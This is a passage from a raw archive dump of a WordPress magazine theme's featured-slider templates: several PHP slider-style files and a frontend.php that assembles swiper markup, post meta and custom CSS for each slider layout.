				if ( $i % 7 == 1 || $i % 7 == 2 ): $thumb = $bpost_thumb_size;
					$psize                                = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 7 ); ?>  <?php echo( ( $i % 7 == 1 || $i % 7 == 2 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 7 == 1 || $i % 7 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 7 == 1 || $i % 7 == 2 ): ?>
									<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => $cspost_enable,
												'keys'      => $cspost_cpost_meta,
												'acf'       => $cspost_cpost_acf_meta,
												'label'     => $cspost_cpost_meta_label,
												'divider'   => $cspost_cpost_meta_divider,
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 7 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\%    7  inc/js_composer/shortcodes/featured_slider/style-37.phpnu [        <?php
/**
 * Template part for Slider Style 37
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i     = 1;
	$num_posts   = $feat_query->post_count;
	$number_last = $num_posts - 1;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		$thumb = $bpost_thumb_size;
		if ( $i == $number_last || $i == $num_posts ): $thumb = $post_thumb_size; endif;

			$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

		?>
        <div class="item swiper-slide">
            <div class="penci-item-mag penci-item-<?php if ( $i != $number_last && $i != $num_posts ) {
				echo '1';
			} else {
				echo '2';
			} ?>  <?php echo( ( $i == $number_last || $i == $num_posts ) ? 'penci-pitem-small' : 'penci-pitem-big' ) ?>">
	            <?php do_action( 'penci_bookmark_post' ); ?>
				<?php if ( ! $disable_lazyload ) { ?>
                    <a class="penci-image-holder penci-lazy"
                       data-bgset="<?php echo penci_image_srcset(get_the_ID(),$thumb,$thumb_mobile ); ?>"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
				<?php } else { ?>
                    <a class="penci-image-holder"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
				<?php } ?>
                <div class="penci-slide-overlay penci-slider6-overlay penci-slider37-overlay">
                    <a class="overlay-link"
                       aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                       href="<?php the_permalink(); ?>"></a>
					<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                        <a href="<?php the_permalink(); ?>"
                           class="overlay-icon-format <?php if ( $i % 3 == 1 ): echo ' lager-size-icon'; endif; ?>">
							<?php if ( has_post_format( 'video' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-play' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'audio' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-music' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'link' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-link' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'quote' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'gallery' ) ) : ?>
								<?php penci_fawesome_icon( 'far fa-image' ); ?>
							<?php endif; ?>
                        </a>
					<?php endif; ?>
                    <div class="penci-mag-featured-content">
                        <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
							<?php if ( ( $i != $number_last && $i != $num_posts ) || $show_cat ): ?>
								<?php if ( ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
							<?php endif; ?>
                            <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                   href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                            </h3>
							<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                <div class="feat-meta">
									<?php if ( $show_meta_author ): ?>
                                        <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! $meta_date_hide ): ?>
                                        <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( ! $hide_meta_comment ): ?>
                                        <span class="feat-comments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
	                                <?php echo penci_show_custom_meta_fields( [
		                                'validator' => $cspost_enable,
		                                'keys'      => $cspost_cpost_meta,
		                                'acf'       => $cspost_cpost_acf_meta,
		                                'label' 	=> $cspost_cpost_meta_label,
		                                'divider' 	=> $cspost_cpost_meta_divider,
	                                ] ); ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
                </div>
            </div>

        </div>

		<?php if ( $i == ( $num_posts - 2 ) || $num_posts < 3 ): echo '</div></div><div class="penci-featured-items-right">'; endif; ?>

		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>

<?php endif; ?>
PK     N\    7  inc/js_composer/shortcodes/featured_slider/style-18.phpnu [        <?php
/**
 * Template part for Slider Style 17
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 5 == 3 ): $thumb = $bpost_thumb_size;
					$psize                 = 'normal';endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
				<?php if ( $i % 5 == 1 ): ?>
                    <div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format<?php if ( $i % 5 == 3 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 5 == 3 || $show_cat ) && ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 5 == 3 ): ?>
									<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => $cspost_enable,
												'keys'      => $cspost_cpost_meta,
												'acf'       => $cspost_cpost_acf_meta,
												'label'     => $cspost_cpost_meta_label,
												'divider'   => $cspost_cpost_meta_divider,
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 2 || $i % 5 == 3 ): ?>
                    </div><div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php if ( $i == $num_posts ): ?>
                    </div>
				<?php endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\T    6  inc/js_composer/shortcodes/featured_slider/style-4.phpnu [        <?php
/**
 * Template part for Slider Style 4
 */

$post_thumb_size = $post_thumb_size ? $post_thumb_size : 'penci-magazine-slider';
$penci_is_mobile = penci_is_mobile();

	$post_thumb_mobile_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! $disable_lazyload ) { ?>
            <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size,$post_thumb_mobile_size ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } else { ?>
            <a class="penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_mobile_size : $post_thumb_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } ?>
        <div class="penci-slider4-overlay">
            <a class="overlay-link"
               aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
               href="<?php the_permalink(); ?>"></a>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
                    <div class="featured-slider-overlay"></div>
					<?php if ( ! $hide_categories ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                        <div class="feat-meta">
							<?php if ( $show_meta_author ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( ! $meta_date_hide ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! $hide_meta_comment ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
	                        <?php echo penci_show_custom_meta_fields( [
		                        'validator' => $cspost_enable,
		                        'keys'      => $cspost_cpost_meta,
		                        'acf'       => $cspost_cpost_acf_meta,
		                        'label' 	=> $cspost_cpost_meta_label,
		                        'divider' 	=> $cspost_cpost_meta_divider,
	                        ] ); ?>
                            <?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>
        </div>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     N\@    6  inc/js_composer/shortcodes/featured_slider/style-6.phpnu [        <?php
/**
 * Template part for Slider Style 6
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				if ( $i % 3 == 1 ): $thumb = $bpost_thumb_size; endif;

					$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>

                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?> <?php echo( 1 == $i % 3 ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
                    <?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumb,$thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 3 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( $i % 3 == 1 || $show_cat ): ?>
									<?php if ( ! $hide_categories ): ?>
                                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
									<?php endif; ?>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => $cspost_enable,
		                                    'keys'      => $cspost_cpost_meta,
		                                    'acf'       => $cspost_cpost_acf_meta,
		                                    'label' 	=> $cspost_cpost_meta_label,
		                                    'divider' 	=> $cspost_cpost_meta_divider,
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 3 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\c/  c/  7  inc/js_composer/shortcodes/featured_slider/frontend.phpnu [        <?php
$responsive_spacing = $cspost_enable = $cspost_cpost_meta = $cspost_cpost_acf_meta = $cspost_cpost_meta_label = $cspost_cpost_meta_divider = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$block_id = Penci_Vc_Helper::get_unique_id_block( 'featured_pslider' );

$query_args = penci_build_args_query( $atts['build_query'] );
$feat_query = new \WP_Query( $query_args );

if ( ! $feat_query->have_posts() ) {
	if ( is_user_logged_in() ) {
		echo '<div class="penci-missing-settings">';
		echo '<span>Featured Slider</span>';
		echo penci_get_setting( 'penci_ajaxsearch_no_post' );
		echo '</div>';
	}
}
$slider_style = $atts['style'] ? $atts['style'] : 'style-1';

$slider_class = $slider_style;
if ( $slider_style == 'style-5' ) {
	$slider_class = 'style-4 style-5';
} elseif ( $slider_style == 'style-30' ) {
	$slider_class = 'style-29 style-30';
} elseif ( $slider_style == 'style-36' ) {
	$slider_class = 'style-35 style-36';
}

if ( $atts['enable_flat_overlay'] && in_array( $slider_style, array(
		'style-6',
		'style-7',
		'style-8',
		'style-9',
		'style-10',
		'style-11',
		'style-12',
		'style-13',
		'style-14',
		'style-15',
		'style-16',
		'style-17',
		'style-18',
		'style-19',
		'style-20',
		'style-21',
		'style-22',
		'style-23',
		'style-24',
		'style-25',
		'style-26',
		'style-27',
		'style-28'
	) ) ) {
	$slider_class .= ' penci-flat-overlay';
}

$disable_lazyload    = 'yes' == $atts['disable_lazyload_slider'];
$slider_title_length = $atts['title_length'] ? $atts['title_length'] : 12;
$center_box          = 'yes' == $atts['center_box'];
$meta_date_hide      = 'yes' == $atts['meta_date_hide'];
$hide_categories     = 'yes' == $atts['hide_categories'];
$show_cat            = 'yes' == $atts['show_cat'];
$hide_meta_comment   = 'yes' == $atts['hide_meta_comment'];
$show_meta_author    = 'yes' == $atts['show_meta_author'];
$hide_meta_excerpt   = 'yes' == $atts['hide_meta_excerpt'];
$hide_format_icons   = 'yes' == $atts['hide_format_icons'];

$post_thumb_size        = $atts['post_thumb_size'];
$bpost_thumb_size       = $atts['bpost_thumb_size'];
$post_thumb_size_mobile = $atts['post_thumb_size_mobile'];

$slider_data = 'data-style="' . $slider_style . '"';
$slider_data .= ' data-auto="' . ( 'yes' == $atts['autoplay'] ? 'true' : 'false' ) . '"';
$slider_data .= ' data-autotime="' . ( $atts['auto_time'] ? intval( $atts['auto_time'] ) : '4000' ) . '"';
$slider_data .= ' data-speed="' . ( $atts['speed'] ? intval( $atts['speed'] ) : '600' ) . '"';
$slider_data .= ' data-loop="' . ( 'yes' == $atts['loop'] ? 'true' : 'false' ) . '"';
$slider_data .= ' data-ceffect="' . $atts['carousel_slider_effect'] . '"';
$slider_data .= ' data-seffect="' . $atts['single_slider_effect'] . '"';

if ( $slider_style == 'style-7' || $slider_style == 'style-8' ) {
	$slider_data .= ' data-item="4" data-desktop="4" data-tablet="2" data-tabsmall="1"';
} elseif ( $slider_style == 'style-9' || $slider_style == 'style-10' ) {
	$slider_data .= ' data-item="3" data-desktop="3" data-tablet="2" data-tabsmall="1"';
} elseif ( $slider_style == 'style-11' || $slider_style == 'style-12' ) {
	$slider_data .= ' data-item="2" data-desktop="2" data-tablet="2" data-tabsmall="1"';
} elseif ( in_array( $slider_style, array( 'style-35', 'style-37' ) ) ) {
	$data_next_prev = 'yes' == $atts['shownav'] ? 'true' : 'false';
	$data_dots      = 'yes' == $atts['showdots'] ? 'true' : 'false';
	$slider_data    .= ' data-dots="' . $data_dots . '" data-nav="' . $data_next_prev . '"';
}
$slider_lib = 'penci-owl-featured-area';

$slider_lib .= ' elsl-' . $slider_style;

$swiper = true;

if ( $slider_style == 'style-40' ) {
	wp_enqueue_script( 'ff40' );
	wp_enqueue_script( 'gsap' );
	$slider_lib .= ' no-df-swiper';
	$swiper     = false;
}

if ( $slider_style == 'style-41' || $slider_style == 'style-42' || $slider_style == 'style-44' ) {
	$slider_lib .= ' no-df-swiper';
	$swiper     = false;
}

if ( $swiper ) {
	$slider_lib .= ' swiper penci-owl-carousel';
}
?>
    <div id="<?php echo esc_attr( $block_id ) ?>">
		<?php
		echo '<div class="penci-block-el featured-area featured-' . $slider_class . '">';
		if ( $slider_style == 'style-37' ):
			echo '<div class="penci-featured-items-left">';
		endif;
		echo '<div class="' . $slider_lib . ' penci-owl-featured-area elsl-' . $slider_class . '"' . $slider_data . '>';
		if ( $swiper ) {
			if ( 'yes' == $atts['shownav'] ) {
				echo '<div class="penci-owl-nav"><div class="owl-prev"><i class="penciicon-left-chevron"></i></div><div class="owl-next"><i class="penciicon-right-chevron"></i></div></div>';
			}
			echo '<div class="swiper-wrapper">';
		}
		include dirname( __FILE__ ) . "/{$slider_style}.php";
		if ( $swiper && $slider_style != 'style-37' ) {
			echo '</div>';
		}
		echo '</div>';
		echo '</div>';
		?>
    </div>
<?php
$block_id_css = '#' . $block_id;
$css_custom   = '';

if ( ! empty( $atts['img_border_radius'] ) ) {
	$css_custom .= $block_id_css . ' .penci-slider38-overlay,';
	$css_custom .= $block_id_css . ' .featured-style-29 .featured-slider-overlay,';
	$css_custom .= $block_id_css . ' .featured-area .penci-slide-overlay .overlay-link,';
	$css_custom .= $block_id_css . ' .featured-area .penci-image-holder';
	$css_custom .= $block_id_css . ' .featured-area .penci-image-holder{ border-radius: ' . esc_attr( $atts['img_border_radius'] ) . ';-webkit-border-radius: ' . esc_attr( $atts['img_border_radius'] ) . '; }';

	$css_custom .= $block_id_css . ' .penci-featured-content-right:before{border-top-right-radius: ' . esc_attr( $atts['img_border_radius'] ) . ';border-bottom-right-radius: ' . esc_attr( $atts['img_border_radius'] ) . '; }';
	$css_custom .= $block_id_css . ' .penci-flat-overlay .penci-slide-overlay .penci-mag-featured-content:before{ border-bottom-left-radius: ' . esc_attr( $atts['img_border_radius'] ) . ';border-bottom-right-radius: ' . esc_attr( $atts['img_border_radius'] ) . '; }';
}

if ( ! empty( $atts['img_ratio'] ) ) {
	$css_custom .= $block_id_css . ' .penci-owl-carousel:not(.elsl-style-19):not(.elsl-style-27) .penci-image-holder{ height: auto !important; }';
	$css_custom .= $block_id_css . ' .penci-owl-carousel:not(.elsl-style-19):not(.elsl-style-27) .penci-image-holder:before{ content:"";padding-top:' . esc_attr( $atts['img_ratio'] ) . ';height: auto; }';

